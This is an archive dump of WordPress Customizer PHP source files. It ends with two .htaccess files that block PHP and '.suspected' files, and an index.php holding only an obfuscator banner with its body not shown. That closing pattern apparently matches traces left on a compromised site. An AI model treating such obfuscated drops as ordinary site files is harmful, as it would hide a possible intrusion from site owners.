		var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
		#>
		<# if ( data.label ) { #>
			<label class="customize-control-title" for="{{ selectButtonId }}">{{ data.label }}</label>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
				<div class="thumbnail thumbnail-{{ data.attachment.type }}">
					<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
					<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
					<# } else if ( 'audio' === data.attachment.type ) { #>
						<# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
							<img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
						<# } else { #>
							<img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
						<# } #>
						<p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
						<# if ( data.attachment.album || data.attachment.meta.album ) { #>
						<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
						<# } #>
						<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
						<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
						<# } #>
						<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
							<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}"/>
						</audio>
					<# } else if ( 'video' === data.attachment.type ) { #>
						<div class="wp-media-wrapper wp-video">
							<video controls="controls" class="wp-video-shortcode" preload="metadata"
								<# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
								<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}"/>
							</video>
						</div>
					<# } else { #>
						<img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
						<p class="attachment-title">{{ data.attachment.title }}</p>
					<# } #>
				</div>
				<div class="actions">
					<# if ( data.canUpload ) { #>
					<button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
					<button type="button" class="button upload-button control-focus" id="{{ selectButtonId }}" {{{ describedByAttr }}}>{{ data.button_labels.change }}</button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<div class="placeholder">
						{{ data.button_labels.placeholder }}
				</div>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
					<# } #>
					<# if ( data.canUpload ) { #>
					<button type="button" class="button upload-button" id="{{ selectButtonId }}" {{{ describedByAttr }}}>{{ data.button_labels.select }}</button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}

	/**
	 * Get default button labels.
	 *
	 * Provides an array of the default button labels based on the mime type of the current control.
	 *
	 * @since 4.9.0
	 *
	 * @return array An associative array of default button labels.
	 */
	public function get_default_button_labels() {
		// Get just the mime type and strip the mime subtype if present.
		$mime_type = ! empty( $this->mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default';

		switch ( $mime_type ) {
			case 'video':
				return array(
					'select'       => __( 'Select video' ),
					'change'       => __( 'Change video' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No video selected' ),
					'frame_title'  => __( 'Select video' ),
					'frame_button' => __( 'Choose video' ),
				);
			case 'audio':
				return array(
					'select'       => __( 'Select audio' ),
					'change'       => __( 'Change audio' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No audio selected' ),
					'frame_title'  => __( 'Select audio' ),
					'frame_button' => __( 'Choose audio' ),
				);
			case 'image':
				return array(
					'select'       => __( 'Select image' ),
					'change'       => __( 'Change image' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No image selected' ),
					'frame_title'  => __( 'Select image' ),
					'frame_button' => __( 'Choose image' ),
				);
			default:
				return array(
					'select'       => __( 'Select file' ),
					'change'       => __( 'Change file' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No file selected' ),
					'frame_title'  => __( 'Select file' ),
					'frame_button' => __( 'Choose file' ),
				);
		} // End switch().
	}
}
class-wp-customize-nav-menu-locations-control.php000066600000005364151122675370016246 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Locations_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Nav Menu Locations Control Class.
 *
 * @since 4.9.0
 */
class WP_Customize_Nav_Menu_Locations_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'nav_menu_locations';

	/**
	 * Don't render the control's content - it uses a JS template instead.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		if ( current_theme_supports( 'menus' ) ) :
			?>
			<# var elementId; #>
			<ul class="menu-location-settings">
				<li class="customize-control assigned-menu-locations-title">
					<span class="customize-control-title">{{ wp.customize.Menus.data.l10n.locationsTitle }}</span>
					<# if ( data.isCreating ) { #>
						<p>
							<?php echo _x( 'Where do you want this menu to appear?', 'menu locations' ); ?>
							<em class="new-menu-locations-widget-note">
								<?php
								printf(
									/* translators: 1: Codex URL, 2: additional link attributes, 3: accessibility text */
									_x( '(If you plan to use a menu <a href="%1$s" %2$s>widget%3$s</a>, skip this step.)', 'menu locations' ),
									__( 'https://codex.wordpress.org/WordPress_Widgets' ),
									' class="external-link" target="_blank"',
									sprintf( '<span class="screen-reader-text"> %s</span>',
										/* translators: accessibility text */
										__( '(opens in a new window)' )
									)
								);
								?>
							</em>
						</p>
					<# } else { #>
						<p><?php echo _x( 'Here&#8217;s where this menu appears. If you&#8217;d like to change that, pick another location.', 'menu locations' ); ?></p>
					<# } #>
				</li>

				<?php foreach ( get_registered_nav_menus() as $location => $description ) : ?>
					<# elementId = _.uniqueId( 'customize-nav-menu-control-location-' ); #>
					<li class="customize-control customize-control-checkbox assigned-menu-location">
						<span class="customize-inside-control-row">
							<input id="{{ elementId }}" type="checkbox" data-menu-id="{{ data.menu_id }}" data-location-id="<?php echo esc_attr( $location ); ?>" class="menu-location" />
							<label for="{{ elementId }}">
								<?php echo $description; ?>
								<span class="theme-location-set">
									<?php
									/* translators: %s: menu name */
									printf( _x( '(Current: %s)', 'menu location' ),
										'<span class="current-menu-location-name-' . esc_attr( $location ) . '"></span>'
									);
									?>
								</span>
							</label>
						</span>
					</li>
				<?php endforeach; ?>
			</ul>
			<?php
		endif;
	}
}
class-wp-customize-nav-menu-auto-add-control.php000066600000002142151122675370015740 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Auto_Add_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the auto_add field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Auto_Add_Control extends WP_Customize_Control {

	/**
	 * Type of control, used by JS.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_auto_add';

	/**
	 * No-op since we're using JS template.
	 *
	 * @since 4.3.0
	 */
	protected function render_content() {}

	/**
	 * Render the Underscore template for this control.
	 *
	 * @since 4.3.0
	 */
	protected function content_template() {
		?>
		<# var elementId = _.uniqueId( 'customize-nav-menu-auto-add-control-' ); #>
		<span class="customize-control-title"><?php _e( 'Menu Options' ); ?></span>
		<span class="customize-inside-control-row">
			<input id="{{ elementId }}" type="checkbox" class="auto_add" />
			<label for="{{ elementId }}">
				<?php _e( 'Automatically add new top-level pages to this menu' ); ?>
			</label>
		</span>
		<?php
	}
}
class-wp-customize-background-image-setting.php000066600000000774151122675370015723 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Image_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customizer Background Image Setting class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Background_Image_Setting extends WP_Customize_Setting {
	public $id = 'background_image_thumb';

	/**
	 * @since 3.4.0
	 *
	 * @param $value
	 */
	public function update( $value ) {
		remove_theme_mod( 'background_image_thumb' );
	}
}
class-wp-customize-nav-menu-location-control.php000066600000004133151122675370016054 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Location_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Location Control Class.
 *
 * This custom control is only needed for JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Location_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_location';

	/**
	 * Location ID.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $location_id = '';

	/**
	 * Refresh the parameters passed to JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['locationId'] = $this->location_id;
	}

	/**
	 * Render content just like a normal select control.
	 *
	 * @since 4.3.0
	 * @since 4.9.0 Added a button to create menus.
	 */
	public function render_content() {
		if ( empty( $this->choices ) ) {
			return;
		}
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
			<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>

			<?php if ( ! empty( $this->description ) ) : ?>
			<span class="description customize-control-description"><?php echo $this->description; ?></span>
			<?php endif; ?>

			<select <?php $this->link(); ?>>
				<?php
				foreach ( $this->choices as $value => $label ) :
					echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>';
				endforeach;
				?>
			</select>
		</label>
		<button type="button" class="button-link create-menu<?php if ( $this->value() ) { echo ' hidden'; } ?>" data-location-id="<?php echo esc_attr( $this->location_id ); ?>" aria-label="<?php esc_attr_e( 'Create a menu for this location' ); ?>"><?php _e( '+ Create New Menu' ); ?></button>
		<button type="button" class="button-link edit-menu<?php if ( ! $this->value() ) { echo ' hidden'; } ?>" aria-label="<?php esc_attr_e( 'Edit selected menu' ); ?>"><?php _e( 'Edit Menu' ); ?></button>
		<?php
	}
}
class-wp-customize-background-image-control.php000066600000002232151122675370015715 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Background Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Background_Image_Control extends WP_Customize_Image_Control {
	public $type = 'background';

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Image_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		parent::__construct( $manager, 'background_image', array(
			'label'    => __( 'Background Image' ),
			'section'  => 'background_image',
		) );
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.1.0
	 */
	public function enqueue() {
		parent::enqueue();

		$custom_background = get_theme_support( 'custom-background' );
		wp_localize_script( 'customize-controls', '_wpCustomizeBackground', array(
			'defaults' => ! empty( $custom_background[0] ) ? $custom_background[0] : array(),
			'nonces' => array(
				'add' => wp_create_nonce( 'background-add' ),
			),
		) );
	}
}
class-wp-customize-background-position-control.php000066600000005367151122675370016513 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Position_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.7.0
 */

/**
 * Customize Background Position Control class.
 *
 * @since 4.7.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Background_Position_Control extends WP_Customize_Control {

	/**
	 * Type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $type = 'background_position';

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.7.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the position control.
	 *
	 * @since 4.7.0
	 */
	public function content_template() {
		$options = array(
			array(
				'left top'   => array( 'label' => __( 'Top Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
				'center top' => array( 'label' => __( 'Top' ), 'icon' => 'dashicons dashicons-arrow-up-alt' ),
				'right top'  => array( 'label' => __( 'Top Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
			),
			array(
				'left center'   => array( 'label' => __( 'Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
				'center center' => array( 'label' => __( 'Center' ), 'icon' => 'background-position-center-icon' ),
				'right center'  => array( 'label' => __( 'Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
			),
			array(
				'left bottom'   => array( 'label' => __( 'Bottom Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
				'center bottom' => array( 'label' => __( 'Bottom' ), 'icon' => 'dashicons dashicons-arrow-down-alt' ),
				'right bottom'  => array( 'label' => __( 'Bottom Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
			),
		);
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-content">
			<fieldset>
				<legend class="screen-reader-text"><span><?php _e( 'Image Position' ); ?></span></legend>
				<div class="background-position-control">
				<?php foreach ( $options as $group ) : ?>
					<div class="button-group">
					<?php foreach ( $group as $value => $input ) : ?>
						<label>
							<input class="screen-reader-text" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>">
							<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
							<span class="screen-reader-text"><?php echo $input['label']; ?></span>
						</label>
					<?php endforeach; ?>
					</div>
				<?php endforeach; ?>
				</div>
			</fieldset>
		</div>
		<?php
	}
}
class-wp-widget-form-customize-control.php000066600000003714151122675370014750 0ustar00<?php
/**
 * Customize API: WP_Widget_Form_Customize_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Widget Form Customize Control class.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Widget_Form_Customize_Control extends WP_Customize_Control {
	public $type = 'widget_form';
	public $widget_id;
	public $widget_id_base;
	public $sidebar_id;
	public $is_new = false;
	public $width;
	public $height;
	public $is_wide = false;

	/**
	 * Gather control params for exporting to JavaScript.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 */
	public function to_json() {
		global $wp_registered_widgets;

		parent::to_json();
		$exported_properties = array( 'widget_id', 'widget_id_base', 'sidebar_id', 'width', 'height', 'is_wide' );
		foreach ( $exported_properties as $key ) {
			$this->json[ $key ] = $this->$key;
		}

		// Get the widget_control and widget_content.
		require_once ABSPATH . '/wp-admin/includes/widgets.php';

		$widget = $wp_registered_widgets[ $this->widget_id ];
		if ( ! isset( $widget['params'][0] ) ) {
			$widget['params'][0] = array();
		}

		$args = array(
			'widget_id' => $widget['id'],
			'widget_name' => $widget['name'],
		);

		$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
		$widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args );

		$this->json['widget_control'] = $widget_control_parts['control'];
		$this->json['widget_content'] = $widget_control_parts['content'];
	}

	/**
	 * Override render_content to be no-op since content is exported via to_json for deferred embedding.
	 *
	 * @since 3.9.0
	 */
	public function render_content() {}

	/**
	 * Whether the current widget is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @return bool Whether the widget is rendered.
	 */
	public function active_callback() {
		return $this->manager->widgets->is_widget_rendered( $this->widget_id );
	}
}
class-wp-customize-image-control.php000066600000002065151122675370013604 0ustar00<?php
/**
 * Customize API: WP_Customize_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Upload_Control
 */
class WP_Customize_Image_Control extends WP_Customize_Upload_Control {
	public $type = 'image';
	public $mime_type = 'image';

	/**
	 * @since 3.4.2
	 * @deprecated 4.1.0
	 */
	public function prepare_control() {}

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $id
	 * @param string $label
	 * @param mixed $callback
	 */
	public function add_tab( $id, $label, $callback ) {
		_deprecated_function( __METHOD__, '4.1.0' );
    }

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $id
	 */
	public function remove_tab( $id ) {
		_deprecated_function( __METHOD__, '4.1.0' );
    }

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $url
	 * @param string $thumbnail_url
	 */
	public function print_tab_image( $url, $thumbnail_url = null ) {
		_deprecated_function( __METHOD__, '4.1.0' );
    }
}
class-wp-customize-filter-setting.php000066600000001114151122675370013776 0ustar00<?php
/**
 * Customize API: WP_Customize_Filter_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * A setting that is used to filter a value, but will not save the results.
 *
 * Results should be properly handled using another setting or callback.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
class WP_Customize_Filter_Setting extends WP_Customize_Setting {

	/**
	 * Saves the value of the setting, using the related API.
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $value The value to update.
	 */
	public function update( $value ) {}
}
class-wp-customize-partial.php000066600000021224151122675370012476 0ustar00<?php
/**
 * Customize API: WP_Customize_Partial class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.5.0
 */

/**
 * Core Customizer class for implementing selective refresh partials.
 *
 * Representation of a rendered region in the previewed page that gets
 * selectively refreshed when an associated setting is changed.
 * This class is analogous of WP_Customize_Control.
 *
 * @since 4.5.0
 */
class WP_Customize_Partial {

	/**
	 * Component.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Selective_Refresh
	 */
	public $component;

	/**
	 * Unique identifier for the partial.
	 *
	 * If the partial is used to display a single setting, this would generally
	 * be the same as the associated setting's ID.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $id;

	/**
	 * Parsed ID.
	 *
	 * @since 4.5.0
	 * @var array {
	 *     @type string $base ID base.
	 *     @type array  $keys Keys for multidimensional.
	 * }
	 */
	protected $id_data = array();

	/**
	 * Type of this partial.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $type = 'default';

	/**
	 * The jQuery selector to find the container element for the partial.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $selector;

	/**
	 * IDs for settings tied to the partial.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	public $settings;

	/**
	 * The ID for the setting that this partial is primarily responsible for rendering.
	 *
	 * If not supplied, it will default to the ID of the first setting.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $primary_setting;

	/**
	 * Capability required to edit this partial.
	 *
	 * Normally this is empty and the capability is derived from the capabilities
	 * of the associated `$settings`.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $capability;

	/**
	 * Render callback.
	 *
	 * @since 4.5.0
	 * @see WP_Customize_Partial::render()
	 * @var callable Callback is called with one argument, the instance of
	 *                 WP_Customize_Partial. The callback can either echo the
	 *                 partial or return the partial as a string, or return false if error.
	 */
	public $render_callback;

	/**
	 * Whether the container element is included in the partial, or if only the contents are rendered.
	 *
	 * @since 4.5.0
	 * @var bool
	 */
	public $container_inclusive = false;

	/**
	 * Whether to refresh the entire preview in case a partial cannot be refreshed.
	 *
	 * A partial render is considered a failure if the render_callback returns false.
	 *
	 * @since 4.5.0
	 * @var bool
	 */
	public $fallback_refresh = true;

	/**
	 * Constructor.
	 *
	 * Supplied `$args` override class property defaults.
	 *
	 * If `$args['settings']` is not defined, use the $id as the setting ID.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Selective_Refresh $component Customize Partial Refresh plugin instance.
	 * @param string                         $id        Control ID.
	 * @param array                          $args      {
	 *     Optional. Arguments to override class property defaults.
	 *
	 *     @type array|string $settings All settings IDs tied to the partial. If undefined, `$id` will be used.
	 * }
	 */
	public function __construct( WP_Customize_Selective_Refresh $component, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->component       = $component;
		$this->id              = $id;
		$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) );
		$this->id_data['base'] = array_shift( $this->id_data['keys'] );

		if ( empty( $this->render_callback ) ) {
			$this->render_callback = array( $this, 'render_callback' );
		}

		// Process settings.
		if ( ! isset( $this->settings ) ) {
			$this->settings = array( $id );
		} else if ( is_string( $this->settings ) ) {
			$this->settings = array( $this->settings );
		}

		if ( empty( $this->primary_setting ) ) {
			$this->primary_setting = current( $this->settings );
		}
	}

	/**
	 * Retrieves parsed ID data for multidimensional setting.
	 *
	 * @since 4.5.0
	 *
	 * @return array {
	 *     ID data for multidimensional partial.
	 *
	 *     @type string $base ID base.
	 *     @type array  $keys Keys for multidimensional array.
	 * }
	 */
	final public function id_data() {
		return $this->id_data;
	}

	/**
	 * Renders the template partial involving the associated settings.
	 *
	 * @since 4.5.0
	 *
	 * @param array $container_context Optional. Array of context data associated with the target container (placement).
	 *                                 Default empty array.
	 * @return string|array|false The rendered partial as a string, raw data array (for client-side JS template),
	 *                            or false if no render applied.
	 */
	final public function render( $container_context = array() ) {
		$partial  = $this;
		$rendered = false;

		if ( ! empty( $this->render_callback ) ) {
			ob_start();
			$return_render = call_user_func( $this->render_callback, $this, $container_context );
			$ob_render = ob_get_clean();

			if ( null !== $return_render && '' !== $ob_render ) {
				_doing_it_wrong( __FUNCTION__, __( 'Partial render must echo the content or return the content string (or array), but not both.' ), '4.5.0' );
			}

			/*
			 * Note that the string return takes precedence because the $ob_render may just\
			 * include PHP warnings or notices.
			 */
			$rendered = null !== $return_render ? $return_render : $ob_render;
		}

		/**
		 * Filters partial rendering.
		 *
		 * @since 4.5.0
		 *
		 * @param string|array|false   $rendered          The partial value. Default false.
		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
		 * @param array                $container_context Optional array of context data associated with
		 *                                                the target container.
		 */
		$rendered = apply_filters( 'customize_partial_render', $rendered, $partial, $container_context );

		/**
		 * Filters partial rendering for a specific partial.
		 *
		 * The dynamic portion of the hook name, `$partial->ID` refers to the partial ID.
		 *
		 * @since 4.5.0
		 *
		 * @param string|array|false   $rendered          The partial value. Default false.
		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
		 * @param array                $container_context Optional array of context data associated with
		 *                                                the target container.
		 */
		$rendered = apply_filters( "customize_partial_render_{$partial->id}", $rendered, $partial, $container_context );

		return $rendered;
	}

	/**
	 * Default callback used when invoking WP_Customize_Control::render().
	 *
	 * Note that this method may echo the partial *or* return the partial as
	 * a string or array, but not both. Output buffering is performed when this
	 * is called. Subclasses can override this with their specific logic, or they
	 * may provide an 'render_callback' argument to the constructor.
	 *
	 * This method may return an HTML string for straight DOM injection, or it
	 * may return an array for supporting Partial JS subclasses to render by
	 * applying to client-side templating.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Partial $partial Partial.
	 * @param array                $context Context.
	 * @return string|array|false
	 */
	public function render_callback( WP_Customize_Partial $partial, $context = array() ) {
		unset( $partial, $context );
		return false;
	}

	/**
	 * Retrieves the data to export to the client via JSON.
	 *
	 * @since 4.5.0
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function json() {
		$exports = array(
			'settings'           => $this->settings,
			'primarySetting'     => $this->primary_setting,
			'selector'           => $this->selector,
			'type'               => $this->type,
			'fallbackRefresh'    => $this->fallback_refresh,
			'containerInclusive' => $this->container_inclusive,
		);
		return $exports;
	}

	/**
	 * Checks if the user can refresh this partial.
	 *
	 * Returns false if the user cannot manipulate one of the associated settings,
	 * or if one of the associated settings does not exist.
	 *
	 * @since 4.5.0
	 *
	 * @return bool False if user can't edit one of the related settings,
	 *                    or if one of the associated settings does not exist.
	 */
	final public function check_capabilities() {
		if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) {
			return false;
		}
		foreach ( $this->settings as $setting_id ) {
			$setting = $this->component->manager->get_setting( $setting_id );
			if ( ! $setting || ! $setting->check_capabilities() ) {
				return false;
			}
		}
		return true;
	}
}
class-wp-customize-themes-panel.php000066600000006231151122675370013425 0ustar00<?php
/**
 * Customize API: WP_Customize_Themes_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Themes Panel Class
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Themes_Panel extends WP_Customize_Panel {

	/**
	 * Panel type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'themes';

	/**
	 * An Underscore (JS) template for rendering this panel's container.
	 *
	 * The themes panel renders a custom panel heading with the current theme and a switch themes button.
	 *
	 * @see WP_Customize_Panel::print_template()
	 *
	 * @since 4.9.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-panel-themes">
			<h3 class="accordion-section-title">
				<?php
				if ( $this->manager->is_theme_active() ) {
					echo '<span class="customize-action">' . __( 'Active theme' ) . '</span> {{ data.title }}';
				} else {
					echo '<span class="customize-action">' . __( 'Previewing theme' ) . '</span> {{ data.title }}';
				}
				?>

				<?php if ( current_user_can( 'switch_themes' ) ) : ?>
					<button type="button" class="button change-theme" aria-label="<?php esc_attr_e( 'Change theme' ); ?>"><?php _ex( 'Change', 'theme' ); ?></button>
				<?php endif; ?>
			</h3>
			<ul class="accordion-sub-container control-panel-content"></ul>
		</li>
		<?php
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button class="customize-panel-back" tabindex="-1" type="button"><span class="screen-reader-text"><?php _e( 'Back' ); ?></span></button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					/* translators: %s: themes panel title in the Customizer */
					echo sprintf( __( 'You are browsing %s' ), '<strong class="panel-title">' . __( 'Themes' ) . '</strong>' ); // Separate strings for consistency with other panels.
					?>
				</span>
				<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
					<# if ( data.description ) { #>
						<button class="customize-help-toggle dashicons dashicons-editor-help" type="button" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button>
					<# } #>
				<?php endif; ?>
			</div>
			<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
				<# if ( data.description ) { #>
					<div class="description customize-panel-description">
						{{{ data.description }}}
					</div>
				<# } #>
			<?php endif; ?>

			<div class="customize-control-notifications-container"></div>
		</li>
		<li class="customize-themes-full-container-container">
			<div class="customize-themes-full-container">
				<div class="customize-themes-notifications"></div>
			</div>
		</li>
		<?php
	}
}
03/.htaccess000066600000000424151125703760006577 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>03/network/.htaccess000066600000000424151125703760010270 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>03/network/index.php000066600000006626151125703760010324 0ustar00<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2025-08-29 11:11:53              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
